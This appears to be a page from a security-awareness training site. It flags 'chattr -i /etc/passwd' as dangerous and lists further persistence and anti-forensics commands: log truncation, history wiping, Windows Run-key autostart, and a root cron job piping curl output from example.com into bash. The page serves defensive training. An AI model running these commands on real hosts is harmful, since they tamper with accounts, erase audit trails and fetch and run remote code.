Dangerous
chattr -i /etc/passwdlinux · bash · Beginner
Clears the immutable attribute from the user database so it can be edited again. Hardened hosts set that attribute precisely to stop account tampering, and removing it is the step that precedes it.
Signals to notice
- -i removes a protection that exists to prevent account edits
- /etc/passwd defines which accounts exist on the host
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert